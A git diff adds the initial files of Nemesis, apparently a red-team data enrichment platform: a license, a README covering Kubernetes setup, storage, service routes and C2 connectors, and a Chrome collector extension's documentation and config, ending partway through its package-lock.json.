diff --git a/LICENSE b/LICENSE
new file mode 100644
index 0000000..e9a9ae4
--- /dev/null
+++ b/LICENSE
@@ -0,0 +1,14 @@
+Nemesis is provided under the 3-clause BSD license below.
+
+*************************************************************
+
+Copyright (c) 2018, Lee Christense, Will Schroeder, and Maxwell Harley
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+ Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+ Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+ The names of its contributors may not be used to endorse or promote products derived from this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
\ No newline at end of file
diff --git a/README.md b/README.md
index 8ab5d6c..7789c3c 100644
--- a/README.md
+++ b/README.md
@@ -1,2 +1,134 @@
-# Nemesis
-Nemesis Repository
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+# Overview
+
+Nemesis is an offensive data enrichment pipeline and operator support system.
+
+Built on Kubernetes with scale in mind, our goal with Nemesis was to create a centralized data processing platform that ingests data produced during offensive security assessments.
+
+Nemesis aims to automate a number of repetitive tasks operators encounter on engagements, empower operators’ analytic capabilities and collective knowledge, and create structured and unstructured data stores of as much operational data as possible to help guide future research and facilitate offensive data analysis.
+
+# Setup
+
+1. Ensure the hardware/software requisites are met and configuration values are completed [as described here in the setup](./docs/setup.md)
+
+2. Run `python3 nemesis_cli.py` and follow any prompts.
+
+# Running
+
+In the root directory of the repo, use skaffold to start everything:
+```
+skaffold run
+```
+
+Run `skaffold delete` to remove running pods.
+
+The ingress port for Nemesis is **8080**, which routes access for all services. To change this port, in `./skaffold.yaml` modify the `localPort` value under the `portForward-ingress` configuration section.
+
+The only other publicly forwarded port is **9001** if minio is used for storage (the default).
+
+## Changing Persistent Storage
+
+Elasticsearch, PostgreSQL, and Minio (if using instead of AWS S3) have persistent storage volumes in the cluster.
+
+### Artifact Storage Backend
+
+By default Minio will be used for artifact storage. If `storage_provider=s3` is set via any config option, AWS S3 storage is used along with proper KMS key encryption. If this is the case, the `aws_*` config variables need to be completed, otherwise these values are ignored.
+
+### Elasticsearch
+
+The default storage size is 20Gi. To change this, modify the *two* `storage: 20Gi` entries under the **PersistentVolume** and **PersistentVolumeClaim** sections in ./kubernetes/elastic/elasticsearch.yaml
+
+### PostgreSQL
+
+The default storage size is 15Gi. To change this, modify the *two* `storage: 15Gi` entries under the **PersistentVolume** and **PersistentVolumeClaim** sections in ./kubernetes/postgres/deployment.yaml
+
+### Minio
+
+If using Minio (instead of AWS S3) the default storage size is `30Gi`. To change this, modify the **minio_storage_size** value in the nemesis.config file or cli argument.
+
+## Troubleshooting Start
+
+If you encounter an error along the lines of `deployment/gotenberg failed. Error: container gotenberg is waiting to start: gotenberg/gotenberg:7.7.0 can't be pulled.`, run `minikube ssh` and `docker pull X` where "X is the container pull that timed out (e.g., "gotenberg/gotenberg:7.7.0" in the previous example).
+
+If the containers aren't able to reach the Internet or resolve addresses, add the following to `/etc/docker/daemon.json` and restart Docker with `sudo service docker restart`:
+```
+{
+ "dns": ["8.8.8.8"]
+}
+```
+
+# Usage
+
+Browsing to `http://:8080/` will display the main service routes. Operators' main interaction with Nemesis data will usually be the `/dashboard/` and `/kibana/` endpoints (and possibly `/pgadmin/`). See the **Exposed services** subsection below for credential details for each.
+
+The main Nemesis dashboard allows for uploading files for manual processing, otherwise see the **C2 Connectors** subsection below.
+
+## C2 Connectors
+
+In order for Nemesis to perform data enrichment, data first needs to be ingested into the platform. The `./cmd/connectors/` folder contains the following connectors for various C2 platforms:
+
+- Cobalt Strike
+- Metasploit
+- Mythic
+- OST Stage1
+- Sliver
+
+See each applicable subfolder for more information on configuration.
+
+***Note: not all connectors have the same level of completeness! We intended to show the range of connectors possible, but there is not yet feature parity.***
+
+## Exposed services
+
+All services are exposed through a single HTTP endpoint (defined in the NEMESIS_HTTP_SERVER environment variable) which is protected by HTTP basic auth defined by `BASIC_AUTH_USER:BASIC_AUTH_PASSWORD`.
+
+To see a basic landing page with exposed services, go to http NEMESIS_HTTP_SERVER endpoint root. The routes and corresponding services are:
+
+| Service | Route | Username | Password |
+| ------------ | ----------------- | ------------------- | ----------------------- |
+| dashboard | /dashboard/ | DASHBOARD_USER | DASHBOARD_PASSWORD |
+| kibana | /kibana/ | ELASTICSEARCH_USER | ELASTICSEARCH_PASSWORD |
+| pgadmin | /pgadmin/ | PGADMIN_EMAIL | PGADMIN_PASSWORD |
+| rabbitmq | /rabbitmq/ | RABBITMQ_ADMIN_USER | RABBITMQ_ADMIN_PASSWORD |
+| alertmanager | /alertmanager/ | N/A | N/A |
+| grafana | /grafana/ | GRAFANA_USER | GRAFANA_PASSWORD |
+| prometheus | /prometheus/graph | N/A | N/A |
+| web-api | /api/ | N/A | N/A |
+| elastic | /elastic/ | ELASTICSEARCH_USER | ELASTICSEARCH_PASSWORD |
+| yara | /yara/ | N/A | N/A |
+| crack-list | /crack-list/ | N/A | N/A |
+
+
+# Contributing / Development Environment Setup
+See [development.md](./docs/development.md)
+
+
+# Acknowledgments
+
+Nemesis is built on large chunk of other people's work. Throughout the codebase we've provided citations, references, and applicable licenses for anything used or adapted from public sources. If we're forgotten proper credit anywhere, please let us know or submit a pull request!
+
diff --git a/cmd/chrome-extension/.eslintrc.json b/cmd/chrome-extension/.eslintrc.json
new file mode 100644
index 0000000..923c025
--- /dev/null
+++ b/cmd/chrome-extension/.eslintrc.json
@@ -0,0 +1,30 @@
+{
+ "env": {
+ "browser": true,
+ "es2021": true,
+ "node": true
+ },
+ "extends": [
+ "eslint:recommended"
+ ],
+ "globals": {
+ "document": false,
+ "escape": false,
+ "navigator": false,
+ "unescape": false,
+ "window": false,
+ "describe": true,
+ "before": true,
+ "it": true,
+ "expect": true,
+ "sinon": true,
+ "chrome": true
+ },
+ "plugins": [],
+ "parserOptions": {
+ "ecmaVersion": 2020,
+ "sourceType": "module"
+ },
+ "rules": {
+ }
+}
diff --git a/cmd/chrome-extension/.gitignore b/cmd/chrome-extension/.gitignore
new file mode 100644
index 0000000..db27d6c
--- /dev/null
+++ b/cmd/chrome-extension/.gitignore
@@ -0,0 +1,3 @@
+release.zip
+node_modules
+dist
\ No newline at end of file
diff --git a/cmd/chrome-extension/README.md b/cmd/chrome-extension/README.md
new file mode 100644
index 0000000..a4aacae
--- /dev/null
+++ b/cmd/chrome-extension/README.md
@@ -0,0 +1,53 @@
+# Chrome Collector
+
+Chrome Collector is a browser extension that interfaces with the Nemesis server. This README provides detailed steps on building, adding, and configuring the extension.
+
+## Table of Contents
+
+- [Building the Extension](#building-the-extension)
+- [Installing to Chrome](#installing-to-chrome)
+- [Configuration](#configuration)
+ * [Basic Configuration](#basic-configuration)
+ * [Allowlist](#allowlist)
+
+## Building the Extension
+
+To build the extension, follow these steps:
+
+```bash
+cd $NEMESIS_ROOT/cmd/chrome-extension
+npm install
+npm run build
+```
+
+## Installing to Chrome
+
+1. Open your Chrome browser.
+2. Navigate to `chrome://extensions` in the omnibar.
+3. Enable Developer Mode by toggling the switch in the top right corner.
+4. Click the "Load Unpacked" button.
+5. Navigate to `$NEMESIS_ROOT/cmd/chrome-extension/dist` in the file explorer and select it.
+
+**Note:** If the Nemesis options page appears, it means the extension was loaded successfully.
+
+## Configuration
+
+### Basic Configuration
+
+1. Start the Nemesis base server.
+2. In the extension's options page, provide the following details:
+ * Nemesis base URL
+ * Web API username
+ * Web API password
+
+The agent ID helps identify the data source in Nemesis. It is set in the metadata field for every file uploaded by the Chrome application.
+
+**Tip:** The options page typically opens automatically upon installation. If you need to revisit the options page later, click on the extension's icon in the Chrome toolbar and select "Options."
+
+### Allowlist
+
+1. Navigate to the extension's options page.
+2. Enable the "Use Domain Allowlist" switch.
+3. Add domains and/or IPs to the allowlist.
+
+**Note:** IPs should be specified with a CIDR range. For a single IP, use the /32 CIDR range. E.g., `127.0.0.1/32`.
\ No newline at end of file
diff --git a/cmd/chrome-extension/assets/img/icon128.png b/cmd/chrome-extension/assets/img/icon128.png
new file mode 100644
index 0000000..9a23ad2
Binary files /dev/null and b/cmd/chrome-extension/assets/img/icon128.png differ
diff --git a/cmd/chrome-extension/assets/locales/en/messages.json b/cmd/chrome-extension/assets/locales/en/messages.json
new file mode 100644
index 0000000..d2104bf
--- /dev/null
+++ b/cmd/chrome-extension/assets/locales/en/messages.json
@@ -0,0 +1,11 @@
+{
+ "appName": {
+ "message": "Nemesis"
+ },
+ "appShortName": {
+ "message": "nemesis"
+ },
+ "appDescription": {
+ "message": "Nemesis extension"
+ }
+}
\ No newline at end of file
diff --git a/cmd/chrome-extension/package-lock.json b/cmd/chrome-extension/package-lock.json
new file mode 100644
index 0000000..6096d09
--- /dev/null
+++ b/cmd/chrome-extension/package-lock.json
@@ -0,0 +1,22457 @@
+{
+ "name": "nemesis2",
+ "version": "0.0.1",
+ "lockfileVersion": 2,
+ "requires": true,
+ "packages": {
+ "": {
+ "name": "nemesis2",
+ "version": "0.0.1",
+ "dependencies": {
+ "ip-range-check": "^0.2.0",
+ "ipaddr.js": "^2.1.0"
+ },
+ "devDependencies": {
+ "autoprefixer": "^10.4.14",
+ "extension-cli": "latest",
+ "flowbite-typography": "^1.0.3",
+ "postcss-cli": "^10.1.0",
+ "tailwindcss": "^3.3.3"
+ }
+ },
+ "node_modules/@aashutoshrathi/word-wrap": {
+ "version": "1.2.6",
+ "resolved": "https://registry.npmjs.org/@aashutoshrathi/word-wrap/-/word-wrap-1.2.6.tgz",
+ "integrity": "sha512-1Yjs2SvM8TflER/OD3cOjhWWOZb58A2t7wpE2S9XfBYTiIl+XFhQG2bjy4Pu1I+EAlCNUzRDYDdFwFYUKvXcIA==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/@alloc/quick-lru": {
+ "version": "5.2.0",
+ "resolved": "https://registry.npmjs.org/@alloc/quick-lru/-/quick-lru-5.2.0.tgz",
+ "integrity": "sha512-UrcABB+4bUrFABwbluTIBErXwvbsU/V7TZWfmbgJfbkwiBuziS9gxdODUyuiecfdGQ85jglMW6juS3+z5TsKLw==",
+ "dev": true,
+ "engines": {
+ "node": ">=10"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/@ampproject/remapping": {
+ "version": "2.2.1",
+ "resolved": "https://registry.npmjs.org/@ampproject/remapping/-/remapping-2.2.1.tgz",
+ "integrity": "sha512-lFMjJTrFL3j7L9yBxwYfCq2k6qqwHyzuUl/XBnif78PWTJYyL/dfowQHWE3sp6U6ZzqWiiIZnpTMO96zhkjwtg==",
+ "dev": true,
+ "dependencies": {
+ "@jridgewell/gen-mapping": "^0.3.0",
+ "@jridgewell/trace-mapping": "^0.3.9"
+ },
+ "engines": {
+ "node": ">=6.0.0"
+ }
+ },
+ "node_modules/@babel/code-frame": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.22.5.tgz",
+ "integrity": "sha512-Xmwn266vad+6DAqEB2A6V/CcZVp62BbwVmcOJc2RPuwih1kw02TjQvWVWlcKGbBPd+8/0V5DEkOcizRGYsspYQ==",
+ "dev": true,
+ "dependencies": {
+ "@babel/highlight": "^7.22.5"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "node_modules/@babel/compat-data": {
+ "version": "7.22.9",
+ "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.22.9.tgz",
+ "integrity": "sha512-5UamI7xkUcJ3i9qVDS+KFDEK8/7oJ55/sJMB1Ge7IEapr7KfdfV/HErR+koZwOfd+SgtFKOKRhRakdg++DcJpQ==",
+ "dev": true,
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "node_modules/@babel/core": {
+ "version": "7.22.9",
+ "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.22.9.tgz",
+ "integrity": "sha512-G2EgeufBcYw27U4hhoIwFcgc1XU7TlXJ3mv04oOv1WCuo900U/anZSPzEqNjwdjgffkk2Gs0AN0dW1CKVLcG7w==",
+ "dev": true,
+ "dependencies": {
+ "@ampproject/remapping": "^2.2.0",
+ "@babel/code-frame": "^7.22.5",
+ "@babel/generator": "^7.22.9",
+ "@babel/helper-compilation-targets": "^7.22.9",
+ "@babel/helper-module-transforms": "^7.22.9",
+ "@babel/helpers": "^7.22.6",
+ "@babel/parser": "^7.22.7",
+ "@babel/template": "^7.22.5",
+ "@babel/traverse": "^7.22.8",
+ "@babel/types": "^7.22.5",
+ "convert-source-map": "^1.7.0",
+ "debug": "^4.1.0",
+ "gensync": "^1.0.0-beta.2",
+ "json5": "^2.2.2",
+ "semver": "^6.3.1"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/babel"
+ }
+ },
+ "node_modules/@babel/generator": {
+ "version": "7.22.9",
+ "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.22.9.tgz",
+ "integrity": "sha512-KtLMbmicyuK2Ak/FTCJVbDnkN1SlT8/kceFTiuDiiRUUSMnHMidxSCdG4ndkTOHHpoomWe/4xkvHkEOncwjYIw==",
+ "dev": true,
+ "dependencies": {
+ "@babel/types": "^7.22.5",
+ "@jridgewell/gen-mapping": "^0.3.2",
+ "@jridgewell/trace-mapping": "^0.3.17",
+ "jsesc": "^2.5.1"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "node_modules/@babel/helper-annotate-as-pure": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.22.5.tgz",
+ "integrity": "sha512-LvBTxu8bQSQkcyKOU+a1btnNFQ1dMAd0R6PyW3arXes06F6QLWLIrd681bxRPIXlrMGR3XYnW9JyML7dP3qgxg==",
+ "dev": true,
+ "dependencies": {
+ "@babel/types": "^7.22.5"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "node_modules/@babel/helper-builder-binary-assignment-operator-visitor": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/helper-builder-binary-assignment-operator-visitor/-/helper-builder-binary-assignment-operator-visitor-7.22.5.tgz",
+ "integrity": "sha512-m1EP3lVOPptR+2DwD125gziZNcmoNSHGmJROKoy87loWUQyJaVXDgpmruWqDARZSmtYQ+Dl25okU8+qhVzuykw==",
+ "dev": true,
+ "dependencies": {
+ "@babel/types": "^7.22.5"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "node_modules/@babel/helper-compilation-targets": {
+ "version": "7.22.9",
+ "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.22.9.tgz",
+ "integrity": "sha512-7qYrNM6HjpnPHJbopxmb8hSPoZ0gsX8IvUS32JGVoy+pU9e5N0nLr1VjJoR6kA4d9dmGLxNYOjeB8sUDal2WMw==",
+ "dev": true,
+ "dependencies": {
+ "@babel/compat-data": "^7.22.9",
+ "@babel/helper-validator-option": "^7.22.5",
+ "browserslist": "^4.21.9",
+ "lru-cache": "^5.1.1",
+ "semver": "^6.3.1"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0"
+ }
+ },
+ "node_modules/@babel/helper-create-class-features-plugin": {
+ "version": "7.22.9",
+ "resolved": "https://registry.npmjs.org/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.22.9.tgz",
+ "integrity": "sha512-Pwyi89uO4YrGKxL/eNJ8lfEH55DnRloGPOseaA8NFNL6jAUnn+KccaISiFazCj5IolPPDjGSdzQzXVzODVRqUQ==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-annotate-as-pure": "^7.22.5",
+ "@babel/helper-environment-visitor": "^7.22.5",
+ "@babel/helper-function-name": "^7.22.5",
+ "@babel/helper-member-expression-to-functions": "^7.22.5",
+ "@babel/helper-optimise-call-expression": "^7.22.5",
+ "@babel/helper-replace-supers": "^7.22.9",
+ "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5",
+ "@babel/helper-split-export-declaration": "^7.22.6",
+ "semver": "^6.3.1"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0"
+ }
+ },
+ "node_modules/@babel/helper-create-regexp-features-plugin": {
+ "version": "7.22.9",
+ "resolved": "https://registry.npmjs.org/@babel/helper-create-regexp-features-plugin/-/helper-create-regexp-features-plugin-7.22.9.tgz",
+ "integrity": "sha512-+svjVa/tFwsNSG4NEy1h85+HQ5imbT92Q5/bgtS7P0GTQlP8WuFdqsiABmQouhiFGyV66oGxZFpeYHza1rNsKw==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-annotate-as-pure": "^7.22.5",
+ "regexpu-core": "^5.3.1",
+ "semver": "^6.3.1"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0"
+ }
+ },
+ "node_modules/@babel/helper-define-polyfill-provider": {
+ "version": "0.2.4",
+ "resolved": "https://registry.npmjs.org/@babel/helper-define-polyfill-provider/-/helper-define-polyfill-provider-0.2.4.tgz",
+ "integrity": "sha512-OrpPZ97s+aPi6h2n1OXzdhVis1SGSsMU2aMHgLcOKfsp4/v1NWpx3CWT3lBj5eeBq9cDkPkh+YCfdF7O12uNDQ==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-compilation-targets": "^7.13.0",
+ "@babel/helper-module-imports": "^7.12.13",
+ "@babel/helper-plugin-utils": "^7.13.0",
+ "@babel/traverse": "^7.13.0",
+ "debug": "^4.1.1",
+ "lodash.debounce": "^4.0.8",
+ "resolve": "^1.14.2",
+ "semver": "^6.1.2"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.4.0-0"
+ }
+ },
+ "node_modules/@babel/helper-environment-visitor": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/helper-environment-visitor/-/helper-environment-visitor-7.22.5.tgz",
+ "integrity": "sha512-XGmhECfVA/5sAt+H+xpSg0mfrHq6FzNr9Oxh7PSEBBRUb/mL7Kz3NICXb194rCqAEdxkhPT1a88teizAFyvk8Q==",
+ "dev": true,
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "node_modules/@babel/helper-function-name": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.22.5.tgz",
+ "integrity": "sha512-wtHSq6jMRE3uF2otvfuD3DIvVhOsSNshQl0Qrd7qC9oQJzHvOL4qQXlQn2916+CXGywIjpGuIkoyZRRxHPiNQQ==",
+ "dev": true,
+ "dependencies": {
+ "@babel/template": "^7.22.5",
+ "@babel/types": "^7.22.5"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "node_modules/@babel/helper-hoist-variables": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/helper-hoist-variables/-/helper-hoist-variables-7.22.5.tgz",
+ "integrity": "sha512-wGjk9QZVzvknA6yKIUURb8zY3grXCcOZt+/7Wcy8O2uctxhplmUPkOdlgoNhmdVee2c92JXbf1xpMtVNbfoxRw==",
+ "dev": true,
+ "dependencies": {
+ "@babel/types": "^7.22.5"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "node_modules/@babel/helper-member-expression-to-functions": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.22.5.tgz",
+ "integrity": "sha512-aBiH1NKMG0H2cGZqspNvsaBe6wNGjbJjuLy29aU+eDZjSbbN53BaxlpB02xm9v34pLTZ1nIQPFYn2qMZoa5BQQ==",
+ "dev": true,
+ "dependencies": {
+ "@babel/types": "^7.22.5"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "node_modules/@babel/helper-module-imports": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.22.5.tgz",
+ "integrity": "sha512-8Dl6+HD/cKifutF5qGd/8ZJi84QeAKh+CEe1sBzz8UayBBGg1dAIJrdHOcOM5b2MpzWL2yuotJTtGjETq0qjXg==",
+ "dev": true,
+ "dependencies": {
+ "@babel/types": "^7.22.5"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "node_modules/@babel/helper-module-transforms": {
+ "version": "7.22.9",
+ "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.22.9.tgz",
+ "integrity": "sha512-t+WA2Xn5K+rTeGtC8jCsdAH52bjggG5TKRuRrAGNM/mjIbO4GxvlLMFOEz9wXY5I2XQ60PMFsAG2WIcG82dQMQ==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-environment-visitor": "^7.22.5",
+ "@babel/helper-module-imports": "^7.22.5",
+ "@babel/helper-simple-access": "^7.22.5",
+ "@babel/helper-split-export-declaration": "^7.22.6",
+ "@babel/helper-validator-identifier": "^7.22.5"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0"
+ }
+ },
+ "node_modules/@babel/helper-optimise-call-expression": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.22.5.tgz",
+ "integrity": "sha512-HBwaojN0xFRx4yIvpwGqxiV2tUfl7401jlok564NgB9EHS1y6QT17FmKWm4ztqjeVdXLuC4fSvHc5ePpQjoTbw==",
+ "dev": true,
+ "dependencies": {
+ "@babel/types": "^7.22.5"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "node_modules/@babel/helper-plugin-utils": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.22.5.tgz",
+ "integrity": "sha512-uLls06UVKgFG9QD4OeFYLEGteMIAa5kpTPcFL28yuCIIzsf6ZyKZMllKVOCZFhiZ5ptnwX4mtKdWCBE/uT4amg==",
+ "dev": true,
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "node_modules/@babel/helper-remap-async-to-generator": {
+ "version": "7.22.9",
+ "resolved": "https://registry.npmjs.org/@babel/helper-remap-async-to-generator/-/helper-remap-async-to-generator-7.22.9.tgz",
+ "integrity": "sha512-8WWC4oR4Px+tr+Fp0X3RHDVfINGpF3ad1HIbrc8A77epiR6eMMc6jsgozkzT2uDiOOdoS9cLIQ+XD2XvI2WSmQ==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-annotate-as-pure": "^7.22.5",
+ "@babel/helper-environment-visitor": "^7.22.5",
+ "@babel/helper-wrap-function": "^7.22.9"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0"
+ }
+ },
+ "node_modules/@babel/helper-replace-supers": {
+ "version": "7.22.9",
+ "resolved": "https://registry.npmjs.org/@babel/helper-replace-supers/-/helper-replace-supers-7.22.9.tgz",
+ "integrity": "sha512-LJIKvvpgPOPUThdYqcX6IXRuIcTkcAub0IaDRGCZH0p5GPUp7PhRU9QVgFcDDd51BaPkk77ZjqFwh6DZTAEmGg==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-environment-visitor": "^7.22.5",
+ "@babel/helper-member-expression-to-functions": "^7.22.5",
+ "@babel/helper-optimise-call-expression": "^7.22.5"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ },
+ "peerDependencies": {
+ "@babel/core": "^7.0.0"
+ }
+ },
+ "node_modules/@babel/helper-simple-access": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/helper-simple-access/-/helper-simple-access-7.22.5.tgz",
+ "integrity": "sha512-n0H99E/K+Bika3++WNL17POvo4rKWZ7lZEp1Q+fStVbUi8nxPQEBOlTmCOxW/0JsS56SKKQ+ojAe2pHKJHN35w==",
+ "dev": true,
+ "dependencies": {
+ "@babel/types": "^7.22.5"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "node_modules/@babel/helper-skip-transparent-expression-wrappers": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.22.5.tgz",
+ "integrity": "sha512-tK14r66JZKiC43p8Ki33yLBVJKlQDFoA8GYN67lWCDCqoL6EMMSuM9b+Iff2jHaM/RRFYl7K+iiru7hbRqNx8Q==",
+ "dev": true,
+ "dependencies": {
+ "@babel/types": "^7.22.5"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "node_modules/@babel/helper-split-export-declaration": {
+ "version": "7.22.6",
+ "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.22.6.tgz",
+ "integrity": "sha512-AsUnxuLhRYsisFiaJwvp1QF+I3KjD5FOxut14q/GzovUe6orHLesW2C7d754kRm53h5gqrz6sFl6sxc4BVtE/g==",
+ "dev": true,
+ "dependencies": {
+ "@babel/types": "^7.22.5"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "node_modules/@babel/helper-string-parser": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.22.5.tgz",
+ "integrity": "sha512-mM4COjgZox8U+JcXQwPijIZLElkgEpO5rsERVDJTc2qfCDfERyob6k5WegS14SX18IIjv+XD+GrqNumY5JRCDw==",
+ "dev": true,
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "node_modules/@babel/helper-validator-identifier": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.22.5.tgz",
+ "integrity": "sha512-aJXu+6lErq8ltp+JhkJUfk1MTGyuA4v7f3pA+BJ5HLfNC6nAQ0Cpi9uOquUj8Hehg0aUiHzWQbOVJGao6ztBAQ==",
+ "dev": true,
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "node_modules/@babel/helper-validator-option": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.22.5.tgz",
+ "integrity": "sha512-R3oB6xlIVKUnxNUxbmgq7pKjxpru24zlimpE8WK47fACIlM0II/Hm1RS8IaOI7NgCr6LNS+jl5l75m20npAziw==",
+ "dev": true,
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "node_modules/@babel/helper-wrap-function": {
+ "version": "7.22.9",
+ "resolved": "https://registry.npmjs.org/@babel/helper-wrap-function/-/helper-wrap-function-7.22.9.tgz",
+ "integrity": "sha512-sZ+QzfauuUEfxSEjKFmi3qDSHgLsTPK/pEpoD/qonZKOtTPTLbf59oabPQ4rKekt9lFcj/hTZaOhWwFYrgjk+Q==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-function-name": "^7.22.5",
+ "@babel/template": "^7.22.5",
+ "@babel/types": "^7.22.5"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "node_modules/@babel/helpers": {
+ "version": "7.22.6",
+ "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.22.6.tgz",
+ "integrity": "sha512-YjDs6y/fVOYFV8hAf1rxd1QvR9wJe1pDBZ2AREKq/SDayfPzgk0PBnVuTCE5X1acEpMMNOVUqoe+OwiZGJ+OaA==",
+ "dev": true,
+ "dependencies": {
+ "@babel/template": "^7.22.5",
+ "@babel/traverse": "^7.22.6",
+ "@babel/types": "^7.22.5"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "node_modules/@babel/highlight": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.22.5.tgz",
+ "integrity": "sha512-BSKlD1hgnedS5XRnGOljZawtag7H1yPfQp0tdNJCHoH6AZ+Pcm9VvkrK59/Yy593Ypg0zMxH2BxD1VPYUQ7UIw==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-validator-identifier": "^7.22.5",
+ "chalk": "^2.0.0",
+ "js-tokens": "^4.0.0"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "node_modules/@babel/highlight/node_modules/ansi-styles": {
+ "version": "3.2.1",
+ "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz",
